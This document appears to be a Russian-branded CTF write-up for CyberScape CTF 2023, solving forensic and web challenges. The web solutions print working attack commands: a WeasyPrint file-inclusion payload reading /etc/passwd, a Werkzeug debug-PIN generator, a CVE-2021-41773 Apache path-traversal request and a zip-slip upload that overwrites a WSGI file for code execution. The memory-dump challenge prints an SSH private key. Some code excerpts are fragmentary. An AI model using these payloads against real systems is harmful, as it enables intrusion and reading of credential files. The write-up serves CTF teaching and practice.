Cyberscape Report Ru
Cyberscape Report Ru
Cyberscape Report Ru
CyberScape CTF
2023
ru
TABLE OF CONTENTS
Forensic
Astroquotes
Solar Wind
Sbux
Web
AB Crew Hiring System
Traverse
Astroquotes
Forensic
Description
We captured a lot of suspicious HTTP requests last month on one of our websites
which hasn't been maintained since the end of 2022. Unfortunately, the website is no
longer accessible at this time. Can you analyze what happened?
Attachment:
https://drive.google.com/drive/folders/1YVWnfD_bOq78alGBBZLp5sQutwzlq8Fr?us
p=share_link
Solution
Given a packet data capture which is stated to have a bunch of HTTP requests.
Therefore, let's take a look at the protocol hierarchy
=================================================================
Protocol Hierarchy Statistics
Filter:
Based on our previous findings, we can confirm that the attacker attempted to
execute a Time-based Blind SQL Injection attack using a JPEG file as the attack
vector. This is a classic method that attackers may use to extract information from a
database by exploiting the query execution time to determine the correctness of a
given query. In this case, the attacker decided to invoke pg_sleep(1) so that the
response got delayed by 1 second.
Therefore, we can reconstruct the information by filtering any POST requests that
have a time difference of 1 second or more between the POST request and the
subsequent 302 Redirect GET request.
» head successful_query_packet_number
396
468
492
660
684
732
756
804
852
876
VtVmB8c6oIVb,ihjmwUdaNrZQ,yCtgjXjujKJHVVd,mmFudCmqpcRlBJ,ABC{4a1b183895deadc3ecb
c2e169076391e},HveoplfiKxA,kIyrgisebnV
Flag
ABC{4a1b183895deadc3ecbc2e169076391e}
Solar Wind
Forensic
Description
Last week, we caught one of the followers of a secret organization called 'Solar Wind',
when he was about to be arrested he tried to destroy all the evidence but we managed
to get a memory dump from his laptop. Can you help us with the further investigation?
Password: cGxpc2Jhbmdzb2x2ZQo
Solution
Given a memory dump named orange.mem which is stated to store some kind of
evidence from the Solar Wind incident. As a starting point, we need to identify any
operating system dependencies before proceeding with further analysis.
There we found that the memory dump was based on Ubuntu 22.04 with a very recent
kernel, which is 5.19.0-32-generic.
As usual we need to generate our own debug symbol volatility profile before getting
into any deeper. This process can be accomplished by:
# Obtain unsigned dbgsym deb for 5.19.0-32-generic kernel
» wget
'http://ddebs.ubuntu.com/pool/main/l/linux-hwe-5.19/linux-image-unsigned-5.19.0-
32-generic-dbgsym_5.19.0-32.33%7e22.04.1_amd64.ddeb'
# Generate a dbgsym based on given kernel, then put it into volatility3 dir
» dwarf2json linux --elf
dbgsym-5.19.0-32-generic/usr/lib/debug/boot/vmlinux-5.19.0-32-generic >
linux-image-5.19.0-32-generic.json
» cp linux-image-5.19.0-32-generic.json
$VOLATILITY3_DIR/volatility3/framework/symbols/linux/
Afterwards, volatility3 can be used as expected. For example, we can examine the
console history during the incident using linux.bash.Bash
As we can see, a lot of things happened during the incident, including the remote ssh
attempt to a certain server. After a while, we found that the ssh service seems to be
currently active. Therefore, we might consider an option to do a remote ssh as well
using the provided id_ed25519 private key.
» nc 52.77.200.197 18002
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1
Unfortunately, due to the lack of community support, volatility3 doesn’t have a plugin
to extract a file directly from a memory dump. So we might need to dump the file
manually by looking for certain keywords. In this case, we used “BEGIN OPENSSH
PRIVATE KEY” to search for the offset of SSH private key
» cat id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD3eUbWoKFww/GO1sUKVxgqcqpLKINUiL62pez9Sfoa2wAAAJCDyUIsg8lC
LAAAAAtzc2gtZWQyNTUxOQAAACD3eUbWoKFww/GO1sUKVxgqcqpLKINUiL62pez9Sfoa2w
AAAEBMcvp0cSgjsQaMpxQR8EVefDdwVUY30wSWAowE7FRYg/d5RtagoXDD8Y7WxQpXGCpy
qksog1SIvral7P1J+hrbAAAABm1vZXNsaAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----
After obtaining the private key, we can either simply load it directly or place it into our
$HOME/.ssh/ directory. Then, we can start to examine the server where the flag might
reside.
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
ABC{f12e7a24f76e2e42eb7b5df03fa14fab}
Flag
ABC{f12e7a24f76e2e42eb7b5df03fa14fab}
Sbux
Forensic
Description
My friend told me he wants to give me sbux, but I must understand SBUX. Can you help
analyze this file?
Solution
Given a packet data capture named chall.pcapng. For a starter, let's take a look at the
protocol hierarchy
===================================================================
Protocol Hierarchy Statistics
Filter:
0000 02 00 00 00 45 00 00 34 00 00 40 00 40 06 00 00 ....E..4..@.@...
0010 7f 00 00 01 7f 00 00 01 0b b8 cf 82 a8 b1 86 d2 ................
0020 60 e7 d6 e5 80 10 2f f5 fe 28 00 00 01 01 08 0a `...../..(......
0030 f9 4e 23 8a 09 02 71 d8 .N#...q.
There we found that most packets come from tcp.port==3000 traffic. Also, we
assumed that those packets might be related to SMUX protocol since it has “SMUX”
string on it. By transcribing the TCP packet as SMUX, we can see clearly that it's indeed
a SMUX packet
Having read RFC1227 gives us a clue, that we may partially extract the transferred
data directly from tcp.payload fields
» foremost datastream
Processing: datastream
|*|
To our surprise, some of data got recovered during this process where one of them
contains the flag information
Flag
ABC{00b2c91e7c3087e1fbbbd7c092555a3a}
AB Crew Hiring System
Web
Description
AB Crew is actively hiring right now! They are preparing a team to rescue Cyptain
Armstrong and the team and help them to escape from the Cyberscape. Are you
interested to be part of the team?
18.142.76.116:13033
Solution
Given a web service with a functionality of creating PDF-generated schedule visit
directly from the webform
After a while, we found out that the generated PDF document was created using
WeasyPrint 57.2 judged from the metadata file
Having realized that it was created by Weasyprint, we wondered if the classic Local File
Inclusion (LFI) vulnerability might be there. Then, we tried to put and submit a payload
like this to load a certain file into PDF embedded object
» curl -s -d
'firstname=%3Clink+rel%3D%22attachment%22&lastname=href%3D%22file:///etc/passwd%
22%3E&email=a%40a.com&time=2023-11-14T11%3A22&description=AAA'
http://18.142.76.116:13033/apply -o document.pdf
After that, we started to enumerate some potential files that might help us on getting
further to the flag.
» environ
HOSTNAME=c0acf82f8fe6PYTHON_PIP_VERSION=22.3.1HOME=/rootGPG_KEY=A035C8C19219BA82
1ECEA86B64E628F8D684696DUWSGI_INI=/app/uwsgi.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSE
S=16STATIC_URL=/staticPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1a9
6dc5acd0303c4700e02655aefd3bc68c78958/public/get-pip.pyUWSGI_CHEAPER=2PATH=/usr/
local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF
-8PYTHON_VERSION=3.11.2PYTHON_SETUPTOOLS_VERSION=65.5.1NGINX_WORKER_PROCESSES=1L
ISTEN_PORT=80STATIC_INDEX=0PWD=/appPYTHON_GET_PIP_SHA256=d1d09b0f9e745610657a528
689ba3ea44a73bd19c60f4c954271b790c71c2653STATIC_PATH=/app/staticPYTHONPATH=/app
» uwsgi.ini
[uwsgi]
module = main
callable = app
» main.py
#!/usr/local/bin/python3.11
import os
from utils.utils import random_char, validate_input, validate_time
from flask import Flask, render_template, request
from flask_weasyprint import HTML, render_pdf
from werkzeug.debug import DebuggedApplication
app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
app.config["SESSION_PERMANENT"] = False
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True
MAX_LEN = {
'firstname': 25,
'lastname': 75,
'email': 25
}
@app.route('/')
def ticket_html():
return render_template('index.j2')
@app.route('/apply', methods=["POST"])
def easy_apply():
if request.method == "POST":
## validate input as the first layer of defense even though
render_template maybe already enough
first_name =
validate_input(request.form.get("firstname"))[:MAX_LEN['firstname']]
last_name =
validate_input(request.form.get("lastname"))[:MAX_LEN['lastname']]
email = validate_input(request.form.get("email"))[:MAX_LEN['email']]
visit_time = validate_time(request.form.get("time"))
uid = random_char(10)
html = render_template('pdf_template.j2',
cwd=os.getcwd(),first=first_name,last=last_name,email=email, visit=visit_time,
uid=uid)
return render_pdf(HTML(string=html, base_url=""))
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=80)
At this point, we noticed that the application has the debug mode activated, which
means the werkzeug’s console might be up. Luckily, our assumption was spot on
Based on this article, it stated the possibility of obtaining the correct pincode from the
werkzeug console. It can be done by replicating the get_pin_code function inside
werzekug/debug/__init__.py
Without further ado, we gathered some ingredients to bake the correct pincode.
There are specific things we need to obtain related to the web service such as:
username, modname, appname, and dirname. We also need to obtain things related to
the server itself such as: mac address and machine id.
gen_pin_code.py
import hashlib
from itertools import chain
probably_public_bits = [
username,
modname,
appname,
dirname
]
private_bits = [
uuid, # int(mac_addr, 16)
machine_id # /proc/sys/kernel/random/boot_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv
pin_code = get_pin_code(
'root',
'flask.app',
'wsgi_app',
'/usr/local/lib/python3.11/site-packages/flask/app.py',
'2485378088965',
b'ce0318d8-71a3-45d8-89ad-32fce1c5a8e2'
)
print(pin_code)
» python gen_pin_code.py
109-082-023
After obtained the correct pin_code, we could unlock the interactive web shell and be
able to retrieve the flag
Flag
ABC{3882cb5cfdd841383c8adbe2dde83472}
Traverse
Web
Description
Bek Bek Bek Bek!!
18.142.76.116:13030
Solution
Given a web service of login page with file upload functionality
Unfortunately, we don’t have the required secret code in order to utilize the file upload
feature. After some observations, we found out that the web service was hosted on
Apache 2.4.49 which is considered vulnerable to CVE-2021-41773
» curl
'http://18.142.76.116:13030/cgi-bin/.%2E/.%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2
E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
Unfortunately, it seems that the +ExecCGI properties that were previously used to
achieve RCE chain are not enabled. Therefore, we may have to explore other options
for achieving RCE, beginning with enumerating the Apache2 configuration files.
/usr/local/apache2/conf/httpd.conf
..snip..
..snip..
# Virtual hosts
Include conf/extra/httpd-vhosts.conf
/usr/local/apache2/conf/extra/httpd-vhosts.conf
<VirtualHost *:80>
<Directory "/usr/local/apache2/htdocs/traverse/app/">
Header set Access-Control-Allow-Origin "*"
WSGIProcessGroup /traverse
WSGIApplicationGroup %{GLOBAL}
Options +ExecCGI
Order deny,allow
Allow from all
</Directory>
Alias /static /usr/local/apache2/htdocs/traverse/app/static
<Directory /usr/local/apache2/htdocs/traverse/app/static/>
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
/usr/local/apache2/htdocs/traverse/traverse.wsgi
#! /usr/bin/python3
import sys
sys.path.append("/usr/local/apache2/htdocs/traverse/app")
/usr/local/apache2/htdocs/traverse/app/main.py'
import os
import hashlib
from flask import Flask, render_template, redirect, request, session
from flask_session import Session
from flask_assets import Bundle, Environment
from werkzeug.utils import secure_filename
from utils.utils import unzip, validate_secret
UPLOAD_FOLDER = 'static/uploads'
app = Flask(__name__)
app.config["SECRET_KEY"] = os.urandom(32)
app.config["SESSION_PERMANENT"] = False
app.config["SESSION_TYPE"] = 'filesystem'
app.config["SESSION_KEY_PREFIX"] = ''
app.config["SESSION_FILE_THRESHOLD"] = 20
app.config["SESSION_USE_SIGNER"] = False
app.config["UPLOAD_FOLDER"] = os.path.join(os.path.dirname(__file__),
UPLOAD_FOLDER)
Session(app)
assets = Environment(app)
assets.url = app.static_url_path
scss = Bundle(
"assets/main.scss",
filters="libsass",
output="css/scss-generated.css"
)
assets.register("scss_all", scss)
if request.method == "POST":
if 'file' not in request.files:
return render_template("index.html")
uploaded = {}
food = request.files['file']
if validate_secret(request.form.get("secret")):
msg = f"Your file is saved here:"
dest_folder = os.path.join(app.config["UPLOAD_FOLDER"],
hashlib.md5(session["name"].encode('utf-8')).hexdigest())
filename = secure_filename(food.filename)
if filename.endswith(".zip"):
uploaded = unzip(food, dest_folder)
else:
outfile = os.path.join(dest_folder, filename)
if not os.path.exists(os.path.dirname(outfile)):
try:
os.makedirs(os.path.dirname(outfile))
except OSError as exc:
print(f"Something when wrong!! {exc}")
food.save(outfile)
uploaded.update({filename: outfile})
else:
msg = "Oopsie!! Wrong Secret Code!!!"
return render_template("index.html")
@app.route("/logout")
def logout():
session["name"] = None
return redirect("/")
if __name__ == "__main__":
app.run(host="0.0.0.0")
/usr/local/apache2/htdocs/traverse/app/utils/utils.py
import errno
import random
import zipfile
import os
import io
def validate_secret(secret):
random_secret = random.randint(1,9999)
secret_code = "{:04x}".format(random_secret)
if secret_code in secret:
return True
return False
if filename.endswith(".py"):
continue
After conducting several experiments, we have reached the conclusion that the
traverse.wsgi file can be overridden. This means that we can inject arbitrary code
execution and store the results in the '/tmp' directory. In this case, we tried to pull the
flag from the / to /tmp directory
traverse.wsgi
#! /usr/bin/python3
import sys
import os
» 7z a exploit.zip traverse.wsgi
» echo -e "@
traverse.wsgi\n@=../../../../../../../../../usr/local/apache2/htdocs/traverse/tr
averse.wsgi" | zipnote -w exploit.zip
There our file has been successfully uploaded. This means that when we reload the
homepage, our arbitrary code may be executed and stored in the /tmp/flag.txt
directory
» curl
'http://18.142.76.116:13030/cgi-bin/.%2E/.%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E
/%2E%2E/%2E%2E/%2E%2E/tmp/flag.txt'
ABC{45c329eb7a9bf7d2a6dbda84cd8a2a35}
Flag
ABC{45c329eb7a9bf7d2a6dbda84cd8a2a35}